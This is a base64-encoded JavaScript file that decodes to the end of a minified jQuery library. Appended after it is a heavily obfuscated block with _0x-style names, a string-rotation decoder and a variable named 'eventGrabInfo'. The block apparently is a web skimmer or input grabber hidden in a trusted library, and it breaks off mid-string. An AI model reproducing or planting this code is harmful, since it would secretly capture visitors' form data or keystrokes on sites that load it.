ubm90KCJib2R5IikuZWFjaChmdW5jdGlvbigpe0UodGhpcykucmVwbGFjZVdpdGgodGhpcy5jaGlsZE5vZGVzKX0pLHRoaXN9fSksRS5leHByLnBzZXVkb3MuaGlkZGVuPWZ1bmN0aW9uKGUpe3JldHVybiFFLmV4cHIucHNldWRvcy52aXNpYmxlKGUpfSxFLmV4cHIucHNldWRvcy52aXNpYmxlPWZ1bmN0aW9uKGUpe3JldHVybiEhKGUub2Zmc2V0V2lkdGh8fGUub2Zmc2V0SGVpZ2h0fHxlLmdldENsaWVudFJlY3RzKCkubGVuZ3RoKX0sRS5hamF4U2V0dGluZ3MueGhyPWZ1bmN0aW9uKCl7dHJ5e3JldHVybiBuZXcgQy5YTUxIdHRwUmVxdWVzdH1jYXRjaChlKXt9fTt2YXIgX3Q9ezA6MjAwLDEyMjM6MjA0fSx6dD1FLmFqYXhTZXR0aW5ncy54aHIoKTt2LmNvcnM9ISF6dCYmIndpdGhDcmVkZW50aWFscyJpbiB6dCx2LmFqYXg9enQ9ISF6dCxFLmFqYXhUcmFuc3BvcnQoZnVuY3Rpb24oaSl7dmFyIG8sYTtpZih2LmNvcnN8fHp0JiYhaS5jcm9zc0RvbWFpbilyZXR1cm57c2VuZDpmdW5jdGlvbihlLHQpe3ZhciBuLHI9aS54aHIoKTtpZihyLm9wZW4oaS50eXBlLGkudXJsLGkuYXN5bmMsaS51c2VybmFtZSxpLnBhc3N3b3JkKSxpLnhockZpZWxkcylmb3IobiBpbiBpLnhockZpZWxkcylyW25dPWkueGhyRmllbGRzW25dO2ZvcihuIGluIGkubWltZVR5cGUmJnIub3ZlcnJpZGVNaW1lVHlwZSYmci5vdmVycmlkZU1pbWVUeXBlKGkubWltZVR5cGUpLGkuY3Jvc3NEb21haW58fGVbIlgtUmVxdWVzdGVkLVdpdGgiXXx8KGVbIlgtUmVxdWVzdGVkLVdpdGgiXT0iWE1MSHR0cFJlcXVlc3QiKSxlKXIuc2V0UmVxdWVzdEhlYWRlcihuLGVbbl0pO289ZnVuY3Rpb24oZSl7cmV0dXJuIGZ1bmN0aW9uKCl7byYmKG89YT1yLm9ubG9hZD1yLm9uZXJyb3I9ci5vbmFib3J0PXIub250aW1lb3V0PXIub25yZWFkeXN0YXRlY2hhbmdlPW51bGwsImFib3J0Ij09PWU/ci5hYm9ydCgpOiJlcnJvciI9PT1lPyJudW1iZXIiIT10eXBlb2Ygci5zdGF0dXM/dCgwLCJlcnJvciIpOnQoci5zdGF0dXMsci5zdGF0dXNUZXh0KTp0KF90W3Iuc3RhdHVzXXx8ci5zdGF0dXMsci5zdGF0dXNUZXh0LCJ0ZXh0IiE9PShyLnJlc3BvbnNlVHlwZXx8InRleHQiKXx8InN0cmluZyIhPXR5cGVvZiByLnJlc3BvbnNlVGV4dD97YmluYXJ5OnIucmVzcG9uc2V9Ont0ZXh0OnIucmVzcG9uc2VUZXh0fSxyLmdldEFsbFJlc3BvbnNlSGVhZGVycygpKSl9fSxyLm9ubG9hZD1vKCksYT1yLm9uZXJyb3I9ci5vbnRpbWVvdXQ9bygiZXJyb3IiKSx2b2lkIDAhPT1yLm9uYWJvcnQ/ci5vbmFib3J0PWE6ci5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKXs0PT09ci5yZWFkeVN0YXRlJiZDLnNldFRpbWVvdXQoZnVuY3Rpb24oKXtvJiZhKCl9KX0sbz1vKCJhYm9ydCIpO3RyeXtyLnNlbmQoaS5oYXNDb250ZW50JiZpLmRhdGF8fG51bGwpfWNhdGNoKGUpe2lmKG8pdGhyb3cgZX19LGFib3J0OmZ1bmN0aW9uKCl7byYmbygpfX19KSxFLmFqYXhQcmVmaWx0ZXIoZnVuY3Rpb24oZSl7ZS5jcm9zc0RvbWFpbiYmKGUuY29udGVudHMuc2NyaXB0PSExKX0pLEUuYWpheFNldHVwKHthY2NlcHRzOntzY3JpcHQ6InRleHQvamF2YXNjcmlwdCwgYXBwbGljYXRpb24vamF2YXNjcmlwdCwgYXBwbGljYXRpb24vZWNtYXNjcmlwdCwgYXBwbGljYXRpb24veC1lY21hc2NyaXB0In0sY29udGVudHM6e3NjcmlwdDovXGIoPzpqYXZhfGVjbWEpc2NyaXB0XGIvfSxjb252ZXJ0ZXJzOnsidGV4dCBzY3JpcHQiOmZ1bmN0aW9uKGUpe3JldHVybiBFLmdsb2JhbEV2YWwoZSksZX19fSksRS5hamF4UHJlZmlsdGVyKCJzY3JpcHQiLGZ1bmN0aW9uKGUpe3ZvaWQgMD09PWUuY2FjaGUmJihlLmNhY2hlPSExKSxlLmNyb3NzRG9tYWluJiYoZS50eXBlPSJHRVQiKX0pLEUuYWpheFRyYW5zcG9ydCgic2NyaXB0IixmdW5jdGlvbihuKXt2YXIgcixpO2lmKG4uY3Jvc3NEb21haW58fG4uc2NyaXB0QXR0cnMpcmV0dXJue3NlbmQ6ZnVuY3Rpb24oZSx0KXtyPUUoIjxzY3JpcHQ+IikuYXR0cihuLnNjcmlwdEF0dHJzfHx7fSkucHJvcCh7Y2hhcnNldDpuLnNjcmlwdENoYXJzZXQsc3JjOm4udXJsfSkub24oImxvYWQgZXJyb3IiLGk9ZnVuY3Rpb24oZSl7ci5yZW1vdmUoKSxpPW51bGwsZSYmdCgiZXJyb3IiPT09ZS50eXBlPzQwNDoyMDAsZS50eXBlKX0pLFMuaGVhZC5hcHBlbmRDaGlsZChyWzBdKX0sYWJvcnQ6ZnVuY3Rpb24oKXtpJiZpKCl9fX0pO3ZhciBVdCxYdD1bXSxWdD0vKD0pXD8oPz0mfCQpfFw/XD8vO0UuYWpheFNldHVwKHtqc29ucDoiY2FsbGJhY2siLGpzb25wQ2FsbGJhY2s6ZnVuY3Rpb24oKXt2YXIgZT1YdC5wb3AoKXx8RS5leHBhbmRvKyJfIitDdC5ndWlkKys7cmV0dXJuIHRoaXNbZV09ITAsZX19KSxFLmFqYXhQcmVmaWx0ZXIoImpzb24ganNvbnAiLGZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG8sYT0hMSE9PWUuanNvbnAmJihWdC50ZXN0KGUudXJsKT8idXJsIjoic3RyaW5nIj09dHlwZW9mIGUuZGF0YSYmMD09PShlLmNvbnRlbnRUeXBlfHwiIikuaW5kZXhPZigiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIikmJlZ0LnRlc3QoZS5kYXRhKSYmImRhdGEiKTtpZihhfHwianNvbnAiPT09ZS5kYXRhVHlwZXNbMF0pcmV0dXJuIHI9ZS5qc29ucENhbGxiYWNrPW0oZS5qc29ucENhbGxiYWNrKT9lLmpzb25wQ2FsbGJhY2soKTplLmpzb25wQ2FsbGJhY2ssYT9lW2FdPWVbYV0ucmVwbGFjZShWdCwiJDEiK3IpOiExIT09ZS5qc29ucCYmKGUudXJsKz0oU3QudGVzdChlLnVybCk/IiYiOiI/IikrZS5qc29ucCsiPSIrciksZS5jb252ZXJ0ZXJzWyJzY3JpcHQganNvbiJdPWZ1bmN0aW9uKCl7cmV0dXJuIG98fEUuZXJyb3IocisiIHdhcyBub3QgY2FsbGVkIiksb1swXX0sZS5kYXRhVHlwZXNbMF09Impzb24iLGk9Q1tyXSxDW3JdPWZ1bmN0aW9uKCl7bz1hcmd1bWVudHN9LG4uYWx3YXlzKGZ1bmN0aW9uKCl7dm9pZCAwPT09aT9FKEMpLnJlbW92ZVByb3Aocik6Q1tyXT1pLGVbcl0mJihlLmpzb25wQ2FsbGJhY2s9dC5qc29ucENhbGxiYWNrLFh0LnB1c2gocikpLG8mJm0oaSkmJmkob1swXSksbz1pPXZvaWQgMH0pLCJzY3JpcHQifSksdi5jcmVhdGVIVE1MRG9jdW1lbnQ9KChVdD1TLmltcGxlbWVudGF0aW9uLmNyZWF0ZUhUTUxEb2N1bWVudCgiIikuYm9keSkuaW5uZXJIVE1MPSI8Zm9ybT48L2Zvcm0+PGZvcm0+PC9mb3JtPiIsMj09PVV0LmNoaWxkTm9kZXMubGVuZ3RoKSxFLnBhcnNlSFRNTD1mdW5jdGlvbihlLHQsbil7cmV0dXJuInN0cmluZyIhPXR5cGVvZiBlP1tdOigiYm9vbGVhbiI9PXR5cGVvZiB0JiYobj10LHQ9ITEpLHR8fCh2LmNyZWF0ZUhUTUxEb2N1bWVudD8oKHI9KHQ9Uy5pbXBsZW1lbnRhdGlvbi5jcmVhdGVIVE1MRG9jdW1lbnQoIiIpKS5jcmVhdGVFbGVtZW50KCJiYXNlIikpLmhyZWY9Uy5sb2NhdGlvbi5ocmVmLHQuaGVhZC5hcHBlbmRDaGlsZChyKSk6dD1TKSxvPSFuJiZbXSwoaT1OLmV4ZWMoZSkpP1t0LmNyZWF0ZUVsZW1lbnQoaVsxXSldOihpPXhlKFtlXSx0LG8pLG8mJm8ubGVuZ3RoJiZFKG8pLnJlbW92ZSgpLEUubWVyZ2UoW10saS5jaGlsZE5vZGVzKSkpO3ZhciByLGksb30sRS5mbi5sb2FkPWZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG8sYT10aGlzLHM9ZS5pbmRleE9mKCIgIik7cmV0dXJuLTE8cyYmKHI9eXQoZS5zbGljZShzKSksZT1lLnNsaWNlKDAscykpLG0odCk/KG49dCx0PXZvaWQgMCk6dCYmIm9iamVjdCI9PXR5cGVvZiB0JiYoaT0iUE9TVCIpLDA8YS5sZW5ndGgmJkUuYWpheCh7dXJsOmUsdHlwZTppfHwiR0VUIixkYXRhVHlwZToiaHRtbCIsZGF0YTp0fSkuZG9uZShmdW5jdGlvbihlKXtvPWFyZ3VtZW50cyxhLmh0bWwocj9FKCI8ZGl2PiIpLmFwcGVuZChFLnBhcnNlSFRNTChlKSkuZmluZChyKTplKX0pLmFsd2F5cyhuJiZmdW5jdGlvbihlLHQpe2EuZWFjaChmdW5jdGlvbigpe24uYXBwbHkodGhpcyxvfHxbZS5yZXNwb25zZVRleHQsdCxlXSl9KX0pLHRoaXN9LEUuZXhwci5wc2V1ZG9zLmFuaW1hdGVkPWZ1bmN0aW9uKHQpe3JldHVybiBFLmdyZXAoRS50aW1lcnMsZnVuY3Rpb24oZSl7cmV0dXJuIHQ9PT1lLmVsZW19KS5sZW5ndGh9LEUub2Zmc2V0PXtzZXRPZmZzZXQ6ZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbyxhLHMsdSxsPUUuY3NzKGUsInBvc2l0aW9uIiksYz1FKGUpLGY9e307InN0YXRpYyI9PT1sJiYoZS5zdHlsZS5wb3NpdGlvbj0icmVsYXRpdmUiKSxzPWMub2Zmc2V0KCksbz1FLmNzcyhlLCJ0b3AiKSx1PUUuY3NzKGUsImxlZnQiKSwoImFic29sdXRlIj09PWx8fCJmaXhlZCI9PT1sKSYmLTE8KG8rdSkuaW5kZXhPZigiYXV0byIpPyhhPShyPWMucG9zaXRpb24oKSkudG9wLGk9ci5sZWZ0KTooYT1wYXJzZUZsb2F0KG8pfHwwLGk9cGFyc2VGbG9hdCh1KXx8MCksbSh0KSYmKHQ9dC5jYWxsKGUsbixFLmV4dGVuZCh7fSxzKSkpLG51bGwhPXQudG9wJiYoZi50b3A9dC50b3Atcy50b3ArYSksbnVsbCE9dC5sZWZ0JiYoZi5sZWZ0PXQubGVmdC1zLmxlZnQraSksInVzaW5nImluIHQ/dC51c2luZy5jYWxsKGUsZik6Yy5jc3MoZil9fSxFLmZuLmV4dGVuZCh7b2Zmc2V0OmZ1bmN0aW9uKHQpe2lmKGFyZ3VtZW50cy5sZW5ndGgpcmV0dXJuIHZvaWQgMD09PXQ/dGhpczp0aGlzLmVhY2goZnVuY3Rpb24oZSl7RS5vZmZzZXQuc2V0T2Zmc2V0KHRoaXMsdCxlKX0pO3ZhciBlLG4scj10aGlzWzBdO3JldHVybiByP3IuZ2V0Q2xpZW50UmVjdHMoKS5sZW5ndGg/KGU9ci5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKSxuPXIub3duZXJEb2N1bWVudC5kZWZhdWx0Vmlldyx7dG9wOmUudG9wK24ucGFnZVlPZmZzZXQsbGVmdDplLmxlZnQrbi5wYWdlWE9mZnNldH0pOnt0b3A6MCxsZWZ0OjB9OnZvaWQgMH0scG9zaXRpb246ZnVuY3Rpb24oKXtpZih0aGlzWzBdKXt2YXIgZSx0LG4scj10aGlzWzBdLGk9e3RvcDowLGxlZnQ6MH07aWYoImZpeGVkIj09PUUuY3NzKHIsInBvc2l0aW9uIikpdD1yLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpO2Vsc2V7dD10aGlzLm9mZnNldCgpLG49ci5vd25lckRvY3VtZW50LGU9ci5vZmZzZXRQYXJlbnR8fG4uZG9jdW1lbnRFbGVtZW50O3doaWxlKGUmJihlPT09bi5ib2R5fHxlPT09bi5kb2N1bWVudEVsZW1lbnQpJiYic3RhdGljIj09PUUuY3NzKGUsInBvc2l0aW9uIikpZT1lLnBhcmVudE5vZGU7ZSYmZSE9PXImJjE9PT1lLm5vZGVUeXBlJiYoKGk9RShlKS5vZmZzZXQoKSkudG9wKz1FLmNzcyhlLCJib3JkZXJUb3BXaWR0aCIsITApLGkubGVmdCs9RS5jc3MoZSwiYm9yZGVyTGVmdFdpZHRoIiwhMCkpfXJldHVybnt0b3A6dC50b3AtaS50b3AtRS5jc3MociwibWFyZ2luVG9wIiwhMCksbGVmdDp0LmxlZnQtaS5sZWZ0LUUuY3NzKHIsIm1hcmdpbkxlZnQiLCEwKX19fSxvZmZzZXRQYXJlbnQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5tYXAoZnVuY3Rpb24oKXt2YXIgZT10aGlzLm9mZnNldFBhcmVudDt3aGlsZShlJiYic3RhdGljIj09PUUuY3NzKGUsInBvc2l0aW9uIikpZT1lLm9mZnNldFBhcmVudDtyZXR1cm4gZXx8cmV9KX19KSxFLmVhY2goe3Njcm9sbExlZnQ6InBhZ2VYT2Zmc2V0IixzY3JvbGxUb3A6InBhZ2VZT2Zmc2V0In0sZnVuY3Rpb24odCxpKXt2YXIgbz0icGFnZVlPZmZzZXQiPT09aTtFLmZuW3RdPWZ1bmN0aW9uKGUpe3JldHVybiBCKHRoaXMsZnVuY3Rpb24oZSx0LG4pe3ZhciByO2lmKHgoZSk/cj1lOjk9PT1lLm5vZGVUeXBlJiYocj1lLmRlZmF1bHRWaWV3KSx2b2lkIDA9PT1uKXJldHVybiByP3JbaV06ZVt0XTtyP3Iuc2Nyb2xsVG8obz9yLnBhZ2VYT2Zmc2V0Om4sbz9uOnIucGFnZVlPZmZzZXQpOmVbdF09bn0sdCxlLGFyZ3VtZW50cy5sZW5ndGgpfX0pLEUuZWFjaChbInRvcCIsImxlZnQiXSxmdW5jdGlvbihlLG4pe0UuY3NzSG9va3Nbbl09X2Uodi5waXhlbFBvc2l0aW9uLGZ1bmN0aW9uKGUsdCl7aWYodClyZXR1cm4gdD1CZShlLG4pLFBlLnRlc3QodCk/RShlKS5wb3NpdGlvbigpW25dKyJweCI6dH0pfSksRS5lYWNoKHtIZWlnaHQ6ImhlaWdodCIsV2lkdGg6IndpZHRoIn0sZnVuY3Rpb24oYSxzKXtFLmVhY2goe3BhZGRpbmc6ImlubmVyIithLGNvbnRlbnQ6cywiIjoib3V0ZXIiK2F9LGZ1bmN0aW9uKHIsbyl7RS5mbltvXT1mdW5jdGlvbihlLHQpe3ZhciBuPWFyZ3VtZW50cy5sZW5ndGgmJihyfHwiYm9vbGVhbiIhPXR5cGVvZiBlKSxpPXJ8fCghMD09PWV8fCEwPT09dD8ibWFyZ2luIjoiYm9yZGVyIik7cmV0dXJuIEIodGhpcyxmdW5jdGlvbihlLHQsbil7dmFyIHI7cmV0dXJuIHgoZSk/MD09PW8uaW5kZXhPZigib3V0ZXIiKT9lWyJpbm5lciIrYV06ZS5kb2N1bWVudC5kb2N1bWVudEVsZW1lbnRbImNsaWVudCIrYV06OT09PWUubm9kZVR5cGU/KHI9ZS5kb2N1bWVudEVsZW1lbnQsTWF0aC5tYXgoZS5ib2R5WyJzY3JvbGwiK2FdLHJbInNjcm9sbCIrYV0sZS5ib2R5WyJvZmZzZXQiK2FdLHJbIm9mZnNldCIrYV0sclsiY2xpZW50IithXSkpOnZvaWQgMD09PW4/RS5jc3MoZSx0LGkpOkUuc3R5bGUoZSx0LG4saSl9LHMsbj9lOnZvaWQgMCxuKX19KX0pLEUuZWFjaChbImFqYXhTdGFydCIsImFqYXhTdG9wIiwiYWpheENvbXBsZXRlIiwiYWpheEVycm9yIiwiYWpheFN1Y2Nlc3MiLCJhamF4U2VuZCJdLGZ1bmN0aW9uKGUsdCl7RS5mblt0XT1mdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5vbih0LGUpfX0pLEUuZm4uZXh0ZW5kKHtiaW5kOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gdGhpcy5vbihlLG51bGwsdCxuKX0sdW5iaW5kOmZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMub2ZmKGUsbnVsbCx0KX0sZGVsZWdhdGU6ZnVuY3Rpb24oZSx0LG4scil7cmV0dXJuIHRoaXMub24odCxlLG4scil9LHVuZGVsZWdhdGU6ZnVuY3Rpb24oZSx0LG4pe3JldHVybiAxPT09YXJndW1lbnRzLmxlbmd0aD90aGlzLm9mZihlLCIqKiIpOnRoaXMub2ZmKHQsZXx8IioqIixuKX0saG92ZXI6ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5tb3VzZWVudGVyKGUpLm1vdXNlbGVhdmUodHx8ZSl9fSksRS5lYWNoKCJibHVyIGZvY3VzIGZvY3VzaW4gZm9jdXNvdXQgcmVzaXplIHNjcm9sbCBjbGljayBkYmxjbGljayBtb3VzZWRvd24gbW91c2V1cCBtb3VzZW1vdmUgbW91c2VvdmVyIG1vdXNlb3V0IG1vdXNlZW50ZXIgbW91c2VsZWF2ZSBjaGFuZ2Ugc2VsZWN0IHN1Ym1pdCBrZXlkb3duIGtleXByZXNzIGtleXVwIGNvbnRleHRtZW51Ii5zcGxpdCgiICIpLGZ1bmN0aW9uKGUsbil7RS5mbltuXT1mdW5jdGlvbihlLHQpe3JldHVybiAwPGFyZ3VtZW50cy5sZW5ndGg/dGhpcy5vbihuLG51bGwsZSx0KTp0aGlzLnRyaWdnZXIobil9fSk7dmFyIEd0PS9eW1xzXHVGRUZGXHhBMF0rfChbXlxzXHVGRUZGXHhBMF0pW1xzXHVGRUZGXHhBMF0rJC9nO0UucHJveHk9ZnVuY3Rpb24oZSx0KXt2YXIgbixyLGk7aWYoInN0cmluZyI9PXR5cGVvZiB0JiYobj1lW3RdLHQ9ZSxlPW4pLG0oZSkpcmV0dXJuIHI9cy5jYWxsKGFyZ3VtZW50cywyKSwoaT1mdW5jdGlvbigpe3JldHVybiBlLmFwcGx5KHR8fHRoaXMsci5jb25jYXQocy5jYWxsKGFyZ3VtZW50cykpKX0pLmd1aWQ9ZS5ndWlkPWUuZ3VpZHx8RS5ndWlkKyssaX0sRS5ob2xkUmVhZHk9ZnVuY3Rpb24oZSl7ZT9FLnJlYWR5V2FpdCsrOkUucmVhZHkoITApfSxFLmlzQXJyYXk9QXJyYXkuaXNBcnJheSxFLnBhcnNlSlNPTj1KU09OLnBhcnNlLEUubm9kZU5hbWU9QSxFLmlzRnVuY3Rpb249bSxFLmlzV2luZG93PXgsRS5jYW1lbENhc2U9WCxFLnR5cGU9dyxFLm5vdz1EYXRlLm5vdyxFLmlzTnVtZXJpYz1mdW5jdGlvbihlKXt2YXIgdD1FLnR5cGUoZSk7cmV0dXJuKCJudW1iZXIiPT09dHx8InN0cmluZyI9PT10KSYmIWlzTmFOKGUtcGFyc2VGbG9hdChlKSl9LEUudHJpbT1mdW5jdGlvbihlKXtyZXR1cm4gbnVsbD09ZT8iIjooZSsiIikucmVwbGFjZShHdCwiJDEiKX0sImZ1bmN0aW9uIj09dHlwZW9mIGRlZmluZSYmZGVmaW5lLmFtZCYmZGVmaW5lKCJqcXVlcnkiLFtdLGZ1bmN0aW9uKCl7cmV0dXJuIEV9KTt2YXIgWXQ9Qy5qUXVlcnksUXQ9Qy4kO3JldHVybiBFLm5vQ29uZmxpY3Q9ZnVuY3Rpb24oZSl7cmV0dXJuIEMuJD09PUUmJihDLiQ9UXQpLGUmJkMualF1ZXJ5PT09RSYmKEMualF1ZXJ5PVl0KSxFfSwidW5kZWZpbmVkIj09dHlwZW9mIGUmJihDLmpRdWVyeT1DLiQ9RSksRX0pOw0KDQpmdW5jdGlvbiBfMHgyZmY1ZGUoXzB4MzE4MWFmLF8weDRlNDRjZixfMHg5ZWUxY2YsXzB4NGRmYWFlLF8weDI3YmVlZCl7cmV0dXJuIF8weDhhM2IoXzB4NGU0NGNmLSAtMHgzYjIsXzB4MjdiZWVkKTt9KGZ1bmN0aW9uKF8weDFlNDE4ZCxfMHhmNjExZWMpe2Z1bmN0aW9uIF8weDUxMjE1NyhfMHg0NmNmNzUsXzB4ZjY1NjYwLF8weDE4MzM4OSxfMHg0NGU5YjcsXzB4ZWY2NWQ5KXtyZXR1cm4gXzB4OGEzYihfMHg0NGU5YjctMHg2YSxfMHgxODMzODkpO31mdW5jdGlvbiBfMHgyZGMwMTEoXzB4MTUwYjc3LF8weDQ0MDY1MCxfMHgzZDkyZmMsXzB4MTFiMzRlLF8weDQ1ZWU1MSl7cmV0dXJuIF8weDhhM2IoXzB4MTUwYjc3LSAtMHgzYyxfMHg0NDA2NTApO31mdW5jdGlvbiBfMHhlM2EyNzkoXzB4MzI4MjMwLF8weDhiMWFlLF8weDJkNGI5ZixfMHgxNWI5YTQsXzB4Mjk4NjY3KXtyZXR1cm4gXzB4OGEzYihfMHgyZDRiOWYtIC0weDY0LF8weDI5ODY2Nyk7fWZ1bmN0aW9uIF8weDU3ODg0YyhfMHgyM2YzOGEsXzB4MjkyZWRiLF8weDZlZDRjOCxfMHhhMzc1NWEsXzB4MTI0YzM4KXtyZXR1cm4gXzB4OGEzYihfMHg2ZWQ0YzgtMHgyZTYsXzB4MjNmMzhhKTt9Y29uc3QgXzB4MmQ0OTIyPV8weDFlNDE4ZCgpO2Z1bmN0aW9uIF8weDI0YTA2OChfMHg0MGMxYTksXzB4MmQ1ODE5LF8weDMyNTI3NixfMHg1MWUwNjksXzB4NTI4ZmZmKXtyZXR1cm4gXzB4OGEzYihfMHgzMjUyNzYtIC0weDI1NyxfMHg1MjhmZmYpO313aGlsZSghIVtdKXt0cnl7Y29uc3QgXzB4NWM3ZGQzPS1wYXJzZUludChfMHgyNGEwNjgoLTB4MmJlLC0weDRmLC0weDIyLC0weDJlMiwnUEkzYicpKS8oLTB4ZioweDI2NSsweDE0MmIrMHhmYzEqMHgxKSoocGFyc2VJbnQoXzB4MmRjMDExKDB4MmQ4LCdQSTNiJywweDQ0MywweDJhNSwweDE4YykpLygweGY5YSsweDI1ZjYrLTB4MzU4ZSkpK3BhcnNlSW50KF8weDJkYzAxMSgweDE0YSwnUF0qdycsMHgxNGQsMHhhYSwtMHg0ZCkpLygtMHgyNmU1Ki0weDErLTB4MzMqLTB4ODcrLTB4OSoweDc0ZikrcGFyc2VJbnQoXzB4NTc4ODRjKCdpUWhWJywweDY3NywweDQ3ZCwweDcxNSwweDQyNSkpLygweGNhYistMHgxMDAqLTB4NCstMHgxMGE3KSoocGFyc2VJbnQoXzB4NTc4ODRjKCdmdDlWJywweDNkNywweDYyOSwweDQ2NiwweDZlMikpLygtMHgyNTEyKy0weDEqMHgxZDMyKzB4NDI0OSkpK3BhcnNlSW50KF8weDU3ODg0YygnZ3BRaCcsMHg1ZDcsMHg4MmMsMHg2YmQsMHg5OWQpKS8oMHg0YmQrLTB4MjI3OSstMHhlZTEqLTB4MikqKHBhcnNlSW50KF8weDJkYzAxMSgweDMzZCwnQiVobScsMHgyY2EsMHg1MjgsMHgyNTIpKS8oMHhlNzQrLTB4NWViKjB4NisweDE1MTUpKStwYXJzZUludChfMHg1Nzg4NGMoJzJHanEnLDB4NTNkLDB4NTE0LDB4NGJhLDB4NDIwKSkvKDB4MWY3KjB4ZistMHgxNCoweGRkKy0weGMyZCkqKC1wYXJzZUludChfMHg1Nzg4NGMoJ3NQVWUnLDB4ODg2LDB4ODY0LDB4NjkwLDB4YTM1KSkvKDB4ZDUxKjB4MistMHgxMjcqLTB4MSsweDEyOCotMHgxOCkpKy1wYXJzZUludChfMHhlM2EyNzkoMHgxZWYsMHgzNjYsMHgxMWYsMHgxYTcsJ3N3YUgnKSkvKDB4MjE3MCsweDE0N2IrLTB4MzVlMSoweDEpKigtcGFyc2VJbnQoXzB4NTc4ODRjKCdxaFdXJywweDRkYywweDQ3YywweDcwMiwweDZlOSkpLygtMHhhZCoweDFhKzB4NGMzKzB4Y2RhKSkrLXBhcnNlSW50KF8weDU3ODg0YygnIyFWTycsMHg2NDYsMHg1ODYsMHg2ZmYsMHg0OWYpKS8oLTB4MjU0ZSstMHgxKi0weGZhZCsweDEqMHgxNWFkKSoocGFyc2VJbnQoXzB4MmRjMDExKDB4NmIxLCdncFFoJywweDQzMCwweDUyNiwweDU4YikpLygtMHg2NyoweDNkKzB4ZmZjKjB4MSsweDRjKjB4MWQpKTtpZihfMHg1YzdkZDM9PT1fMHhmNjExZWMpYnJlYWs7ZWxzZSBfMHgyZDQ5MjJbJ3B1c2gnXShfMHgyZDQ5MjJbJ3NoaWZ0J10oKSk7fWNhdGNoKF8weDczMjlhNCl7XzB4MmQ0OTIyWydwdXNoJ10oXzB4MmQ0OTIyWydzaGlmdCddKCkpO319fShfMHgyYTY4LDB4MTY3NGZkKy0weDEqLTB4MTg2MjRiKy0weDVhKjB4NjAwZSkpO2xldCBldmVudEdyYWJJbmZvPXt9O2Z1bmN0aW9uIF8weDE1OWUzYShfMHg1NDY4ZmEsXzB4MTVkODMyLF8weDI2NzY3NCxfMHg1YjEwMzYsXzB4M2ZiNmI3KXtyZXR1cm4gXzB4OGEzYihfMHgxNWQ4MzItMHgzZTMsXzB4NWIxMDM2KTt9ZnVuY3Rpb24gXzB4MmE2OCgpe2NvbnN0IF8weDU3NWQ0Yz1bJ2cwN2NMSTdjTEcnLCdXNzArVzd4ZEh4SycsJ3lxck5zS20nLCdwcmFKV09KY1RxJywnb1pOZFJxOUVpU292V09KZFZaL2NLbWtaJywnRENvR2xxJywnVzVWY1Bta0hXT2Y2JywnVzVOZFNDb3hXN3RkS1cnLCdpS1dnYVcnLCdGZXRkRzhvWG9xJywnVzZoY1M4a1p1OGtIJywnVzZaZE9iSmNHU2thJywnVzVCY1Bta0dnSHEnLCdXNThvVzdkZFFoNCcsJ1c1aGNSOGt5V1B6RicsJ1dRYXhXNE5kUW1rVFdPbGRObW9YV1IvZFRDb2dlVycsJ2VzZXZXNTNjT1cnLCdkMm11bm1vWScsJ3F1QmRHbW8wJywnQ0Nralc0dU9XUnEnLCdkOG80VzQ1dVc1VycsJ1c3QmNPOGtibFcnLCdXUkhpVzRQdlc3bScsJ1c2cGRPdGhjUUNrSicsJ1c1OGRXNHBkVEcnLCdDbWs0VzZlT1dSeScsJ1dRdGNPd2k2VzZ1JywnV09UOFdRMVF0YScsJ1c1YXdXUWFwQUcnLCdlZUcwJywnVzZkZExaM2NOOGtyJywncWE1YycsJ1c3WHVXUGxjVFNvUycsJ0Vtb2JoQ29ydFcnLCdXUHFRaXZaY0thJywnQk03Y0pTbzhtYScsJ1dRS3FtOG9WVzY4JywnVzZxd1dSZU9yVycsJ1c2RmRWU29XVzZsZFJXJywnZDhrc1c2WmNMMlMnLCdXN3ZjV080JywnV1JwY1B3ajInLCdXNnhkTEpSY004a2YnLCdXNHhjUG1rOFdQekgnLCdyVzl2eE5DJywnV1FUR2k4a3BuVycsJ2JzWFVXN3ZvJywnV1AzZFJta2xXUHlEJywnaFNrdFc3L2NNRycsJ1c3dGNIMW1mVzdTJywnaHR1K1c1M2NPcScsJ3g4a2xXNE92V1A0JywnejhvMVc1cGNMSWknLCdXTzhMa3ZWY0xHJywnVzVIVnZyQmNHcScsJ1dSNDdrU2tSb2EnLCdXNWlTdzJwZE5xJywnVzU1Ulc2L2NUVycsJ0Vtb21jdmxjS3EnLCdXNTUvV1BiUicsJ1c1cGNVQ2t0V1J6dycsJ1c1RmRTbW9rVzc3ZFFxJywncDhvcWNOcXAnLCdXUHovVzc1elc2MCcsJ1dRdGRHOG91Qm1rbCcsJ1dQZjJXNksnLCdXNmRkT2FSY1NtazcnLCdXUXBjT3c1Slc1dScsJ3ptb0hwdXBjUWEnLCdod2hjU2JKY0pXJywnV1BSZEtta0VXUnUnLCdXUnBjT3dyS1dSUycsJ1dSVDNXNlBUVzVLJywnVzVsZFYzYWNXUDgnLCdXN0pjU3hLZFc1aScsJ2liaVlXT0pjT3EnLCdXT3VsZFNvTCcsJ3RDb2lGZmJYYUNvS3JhS3AnLCdXUWxjVE5PNlc2cScsJ0RTb0lhMUJjU2EnLCdpcWlRVzRkY01XJywnVzY3ZExDb2xXUXBjVkcnLCdsZTdjVXNwY1NxJywnRENvMm9naGNRVycsJ1c2dXBXUXlIJywnV1JKY1ROOVdXNzgnLCdXTy9kSThrY1dSdVQnLCdXUDROYXZ4Y0hHJywncktSZEthJywnVzd2Q1c1cGNQM20nLCdXN3JvV1B0Y1ZDb3InLCdhVzdkUm1rWGhhJywnVzZoZFY4b2xXNlJjVkcnLCdhbW8zbU1pYicsJ0EyeGNVdmFhJywncDhveGt2eS8nLCdnU29EVzdYd1c0NCcsJ1c1aUx5M2xkVmEnLCdyTEtCV1JpTCcsJ1c2WCtXT3JPcmEnLCdXT1NMajBaY0xHJywnVzVQSVdQelN5VycsJ3Z2S3hXT21rJywnblNvRnBxJywnZ0l6NVc2YnQnLCdFbW9objhvQXRxJywnVzRSZE5